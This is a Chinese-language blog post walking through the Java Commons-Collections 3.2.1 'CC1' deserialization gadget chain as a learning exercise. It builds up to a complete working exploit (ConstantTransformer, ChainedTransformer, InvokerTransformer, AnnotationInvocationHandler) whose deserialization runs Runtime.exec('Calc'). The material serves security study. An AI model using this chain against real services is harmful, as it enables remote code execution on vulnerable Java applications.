参考链接
https://y0n3er.github.io/undefined/45527.html
https://www.lengf233.top/2023/03/19/ru-he-shou-xie-yi-tiao-cc1-lian/
https://drun1baby.top/2022/06/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8701-CC1%E9%93%BE/
环境搭建
- jdk_8u65:https://blog.lupf.cn/articles/2022/02/20/1645352101537.html
- 对应版本的openjdk:https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4
解压里边的src.zip,然后把openjdk里的sun文件夹复制过来
创建maven空项目,选择jdk_8u65
在project structure里,把src源码的路径添加进去
添加CC漏洞版本的maven依赖,注意调试没有源码d就download resources一下
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
到此为止,环境配置完成,尝试导入CC包,看看是否配置成功
import org.apache.commons.collections.functors.InvokerTransformer;
攻击链分析
思路是从命令执行的地方一直往前找,找调用了同名函数的函数,直到找到readObject()为止。
- InvokerTransformer.transform()可以命令执行
- TransformedMap.checkSetValue()调用了xxx.transform()
- AbstractInputCheckedMapDecorator.setValue()调用了TransformedMap.checkSetValue()
- AnnotationInvocationHandler.readObject()调用了Map.setValue(),上个类又是Map的实现类
EXP编写
这是笔者跟的第一条链子,跟完之后仍然懵懵懂懂,在此,在我的理解范围内,在尽量详实地记下我的分析过程。
InvokerTransformer.transform()
首先在InvokerTransformer.transform()中,存在任意方法反射调用:
这几个参数通过构造函数都是可控的:
尝试弹计算器,确定是可以执行命令的:
public class TestCC1 {
public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}).transform(runtime);
}
}
TransformedMap.checkSetvalue()
接下来,开始找什么地方调用了transform(Object object),在transform()上右键,点击find usages
一般来说找带Map的好一些(?),听组长说,这个比较适合到时候找到入口类
发现这里的checkSetValue()调用了transform(),看看能不能利用:
valueTransformer是什么,可不可以控制?发现通过构造函数好像可以控制:
它构造函数是protected类型,我们不能直接创建实例:
于是再找其他函数,发现decorate()会返回一个构造好的实例:
尝试利用decorate()构造链条,EXP如下,注意,checkSetValue()是protected的,要反射调用该函数!
public class TestCC1 {
public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"});
HashMap<Object,Object> hashMap = new HashMap<>();
TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap,null,invokerTransformer);
Class<TransformedMap> transformedMapClass = TransformedMap.class;
Method checkSetValue = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);
//protected方法
checkSetValue.setAccessible(true);
checkSetValue.invoke(transformedMap,runtime);
}
}
AbstractInputCheckedMapDecorator.setValue()
接下来发现找不到有用的、调用decorate()的函数,于是试着找调用了checkSetValue()的函数,同样方法:
AbstractInputCheckedMapDecorator是TransformedMap的父类,它这setValue()里会调用checkSetValue()
父类AbstractInputCheckedMapDecorator有这个setValue()方法,子类TranformedMap自然也继承了,
于是想办法怎么在transformMap这个Map里调setValue(),跟一下setValue()函数:
一路跟上去发现是Map的一个给entry赋值的函数,那么我们尝试给构造的transformedMap里的value赋值,
赋值runtime,进一步构造利用链,看看能不能弹计算器:
public class TestCC1 {
public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"});
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null,invokerTransformer);
for(Map.Entry entry:transformedMap.entrySet()){
entry.setValue(runtime);
}
}
这里的for循环注意理解,涉及JavaSE的基础知识:
AnnotationInvocationHandler.readObject()
最后是找到这个入口类,它满足下面几个条件:
- 可序列化
- 重写readObject()
- 调用了setValue()
这个类它不是public的,是default的,需要用反射获取对象。
链条到这就完整了,下面可以试着编写Exp
理想情况EXP
public class TestCC1 {
public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"});
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null,invokerTransformer);
Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class,Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Target.class,transformedMap);
serialize(o);
unserialize();
}
然而并没有利用成功,因为还有几个未解决的问题。
解决问题
Runtime对象不能序列化
Runtime类没有实现Serializable接口,故不能序列化:
但是Runtime.class对象是可以序列化的:
我们可以利用反射,不传runtime进去,选择传Runtime.class进去,通过反射照样能得到runtime
Class runtimeClass = Runtime.class;
Method getRuntime = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(runtimeClass);
Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}).transform(getRuntime);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}).transform(runtime);
这里如果我们直接用这个, 要调用3次.transform()函数,意味着链子要多执行三轮,有更简单的方法:
通过这个现成的ChainedTransformer类,只需要触发一次chainedTransformer.transform()就好了
注意:
ChainedTransformer[0].transform()的返回值,会作为ChainedTransformer[1].transform()的参数。
下面进一步编写Exp:
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
小疑问
这里我一直不明白,这里就算换Runtime.class,在链条里应该也新建了Runtime对象,不会影响序列化吗?
我的理解是只要序列化的时候没有出现Runtime的对象就好,实际Runtime对象并没有参与序列化与反序列化。
希望师傅们指点一下:)
绕过两个if语句进到setValue()
这里简单看下这个类的代码,看看怎么绕
构造函数传一个注解的类型叫type、一个Map叫memberValues,然后赋值到属性
下面是需要绕过的主要逻辑:
- memberTypes:@Target注解的<每个成员名,成员类型>组成的键值对集合
- memberType:根据name查找memberTypes,返回对应name的成员所属的类型,没有则返回null
- memberValues:传进来的hashmap
- memberValue:传进来的hashmap的entry对象 "1111"->"2222"
- name:hashmap的key名,"1111"
- value:hashmap的键值对对象的值,"2222"
这段代码的逻辑:遍历传进来的hashmap,第一个if检查每一个key是不是注解里定义的成员的名字,是就通过;第二个if判断如果value不是memberType/ExceptionProxy的实例,就通过。
于是我们修改传进来的hashmap,把key改成某个注解里存在的成员的名字(例如"value"),value随便就好
进一步完善Exp:
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("value","Jasper");
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class,Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Target.class,transformedMap);
serialize(o);
unserialize();
setValue()不能传runtime对象
还是上面那个逻辑,我们发现setValue()传入的对象我们是不可控的:
这里用到的是一个比较巧妙的ConstantTransformer类,ConstantTransformer.transform()返回一个恒定的值
而这个iConstant是能在构造函数里控制的:
那么问题就解决了,这里我看师傅们的文章都没仔细说,我思考了挺久才明白怎么回事:
我们在chainedTransformer数组的开头加上ConstantTransformer的对象,并且传入Runtime.class
这样一来不管ConstantTransformer.transform(xxx)传什么对象,都会返回一个Runtime.class对象
联系之前使用的辅助类ChainedTransformer.transform()的特性:
进一步完善Exp,重点关注transformers[]的第一个元素ConstantTransformer:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
//其他略...
经过这样设置,我们在序列化、反序列化之后,会依次进行以下调用:
- AnnotationInvocationHandler.readObject()
- transformedMap.entry.setValue(new balabala)
- transformedMap.checkSetValue(new balabala)
- chainedTransformer.transform(new balabala)
- runtimeClass = ConstantTransformer.transform(new balabala) //控制参数
- getRuntime = new InvokerTransformer(...).transform(runtimeClass)
- rumtime = new InvokerTransformer(...).transform(getRuntime)
- new InvokerTransformer(...).transform(runtime)
最终EXP
public class TestCC1 {
public static void main(String[] args) throws Exception{
// Class runtimeClass = Runtime.class;
// Method getRuntime = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(runtimeClass);
// Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}).transform(getRuntime);
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}).transform(runtime);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("value","Jasper");
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class,Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Target.class,transformedMap);
serialize(o);
unserialize();
}
public static void serialize(Object o) throws Exception{
FileOutputStream fos = new FileOutputStream("object.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(o);
System.out.println("序列化完成...");
}
public static Object unserialize() throws Exception{
FileInputStream fis = new FileInputStream("object.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
//反序列化执行readObject()方法
Object o = ois.readObject();
ois.close();
fis.close();
System.out.println("反序列化完成...");
return o;
}
}
小结
通过这次跟链子,确实对Java反射、Java反序列化以及一些Idea调试方法有了更深的认识,继续加油吧!
标签:InvokerTransformer,Object,CC1,TransformedMap,class,new,Runtime,Class From: https://www.cnblogs.com/sketchpl4ne/p/17615669.html